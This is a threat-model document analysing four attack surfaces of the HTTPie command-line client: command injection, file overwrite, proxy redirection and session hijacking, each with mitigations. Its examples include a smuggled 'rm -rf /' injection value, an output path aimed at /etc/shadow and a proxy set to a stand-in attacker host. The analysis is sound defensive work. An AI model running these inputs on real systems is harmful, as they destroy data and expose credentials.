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attack-surface.md

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Attack Surface Analysis for httpie/cli

Attack Surface: Command Injection via Untrusted Input

  • Description: User-provided data is used to construct HTTPie command-line arguments without proper sanitization or validation. This is the most direct and dangerous attack vector.
  • CLI Contribution: The HTTPie command-line interface is the direct target of the injection. The attacker leverages the full functionality of HTTPie (all its options and arguments) to craft malicious commands.
  • Example:
    • User input: "; rm -rf /; echo " (intended to be part of a URL)
    • Resulting command (if unsanitized): http GET example.com/"; rm -rf /; echo "
    • This attempts to execute rm -rf / on the system running the application, potentially deleting all files.
  • Impact:
    • Arbitrary command execution on the host system (with the privileges of the application).
    • Complete system compromise.
    • Data exfiltration.
    • Denial of service.
  • Risk Severity: Critical
  • Mitigation Strategies:
    • Strict Input Validation (Whitelist): Implement a strict whitelist of allowed characters and patterns for all user-supplied data that forms any part of the HTTPie command. Reject any input that doesn't conform to the whitelist. Never rely on blacklisting. This is the most crucial mitigation.
    • Parameterization (Indirect Mitigation): If possible, use a higher-level HTTP library that provides parameterized requests. This avoids direct command-line string construction, but it's not a direct CLI mitigation.
    • Avoid Direct Command Construction (Indirect Mitigation): Prefer using a wrapper library or API that abstracts away the direct construction of command-line arguments. This provides a safer interface, but it's not a direct CLI mitigation.
    • Least Privilege: Run the application with the absolute minimum necessary privileges. This limits the damage even if command injection occurs. This is a crucial defense-in-depth measure.

Attack Surface: File Access/Overwrite via --download or --output

  • Description: User input controls the file paths used with HTTPie's --download or --output options, allowing for arbitrary file reads or writes.
  • CLI Contribution: HTTPie's file writing capabilities (specifically the --download and --output command-line options) are abused.
  • Example:
    • User input: /etc/shadow (intended to be an output filename)
    • Resulting command: http GET example.com --output /etc/shadow
    • This could attempt to overwrite the system's shadow password file (if running with sufficient privileges) or read its contents (if readable by the application's user).
  • Impact:
    • System file corruption or destruction (potentially leading to system instability or unavailability).
    • Information disclosure (sensitive system files, configuration files).
    • Potential for complete system compromise (if critical system files are overwritten).
  • Risk Severity: High (can be Critical if the application runs with elevated privileges and can overwrite critical system files)
  • Mitigation Strategies:
    • Strict Path Validation: Rigorously validate and sanitize user-provided file paths. Enforce a strict whitelist of allowed directories and filenames. Absolutely prevent the use of path traversal sequences (../ or similar). Use a well-defined, restricted set of allowed characters.
    • Dedicated Output Directory: Configure the application to use a dedicated, isolated directory for all HTTPie output. This directory should have very restricted permissions, allowing write access only to the application's user and no access to other users.
    • Least Privilege: Run the application with the minimum file system access rights necessary. The application should not have write access to any system directories or sensitive files.
    • Chroot Jail (Advanced): For extremely high-security environments, consider running the application within a chroot jail to further restrict its file system access, effectively isolating it from the rest of the system.

Attack Surface: Proxy Manipulation via --proxy

  • Description: User input controls the proxy server used by HTTPie via the --proxy option, allowing traffic redirection.
  • CLI Contribution: HTTPie's proxy functionality (the --proxy command-line option) is directly exploited.
  • Example:
    • User input: http://attacker-controlled.com:8080
    • Resulting command: http GET example.com --proxy http://attacker-controlled.com:8080
    • All HTTP traffic is routed through the attacker's proxy server.
  • Impact:
    • Man-in-the-middle attacks.
    • Eavesdropping on sensitive data (including credentials, API keys, etc.).
    • Data modification (the attacker can alter requests and responses).
    • Potential for further attacks launched from the malicious proxy.
  • Risk Severity: High
  • Mitigation Strategies:
    • Hardcode Proxy Settings: If a proxy is required, hardcode the proxy server address and port within the application's configuration. Never allow user input to control the proxy settings. This is the most secure approach.
    • Proxy Whitelist (If User-Configurable is Unavoidable): If user-configurable proxies are absolutely necessary (which should be avoided if at all possible), implement a strict whitelist of allowed proxy servers. Reject any proxy not on the whitelist.
    • Input Validation (Less Effective): If a whitelist is not feasible, rigorously validate the user-provided proxy URL, ensuring it conforms to expected patterns (e.g., valid hostname or IP address, valid port number) and doesn't contain malicious characters. However, this is significantly less secure than a whitelist.

Attack Surface: Session Hijacking/Manipulation via --session

  • Description: User input controls the session name or file used with HTTPie's --session option, allowing for session hijacking or the use of attacker-controlled session data.
  • CLI Contribution: HTTPie's session management features (the --session command-line option) are directly abused.
  • Example:
    • User input: existing_session (a known, valid session name used by another user)
    • Resulting command: http GET example.com --session existing_session
    • The attacker reuses the authentication cookies/headers from the legitimate session, gaining unauthorized access.
  • Impact:
    • Unauthorized access to resources protected by the session.
    • Potential for data modification or exfiltration.
    • Impersonation of legitimate users.
  • Risk Severity: High
  • Mitigation Strategies:
    • Controlled Session Management: The application must tightly control session creation and naming. Never allow user input to directly specify session names or files. The application should be solely responsible for managing sessions.
    • Random Session Names: Generate random, unpredictable, and sufficiently long session names to prevent guessing or brute-forcing.
    • Secure Session Storage: Store session files in a secure, protected location with very restricted access. Only the application's user should have read/write access to this location.
    • Session Expiration: Implement appropriate session expiration mechanisms, invalidating sessions after a period of inactivity or a fixed duration.